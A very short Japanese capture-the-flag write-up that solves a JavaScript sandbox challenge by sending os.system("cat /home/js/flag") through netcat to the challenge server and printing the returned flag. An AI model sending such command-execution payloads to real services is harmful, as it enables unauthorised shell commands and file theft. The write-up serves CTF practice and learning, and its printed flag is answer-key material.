solution

諸々のファイルが渡されるが、ぐぐるとos.systemがあると分かるので終わり。

$ echo 'os.system("cat /home/js/flag")' | nc 202.112.51.248 2333
js> os.system("cat /home/js/flag")
bctf{319c1b47f786c7b99a757da74fd38408}
js> 0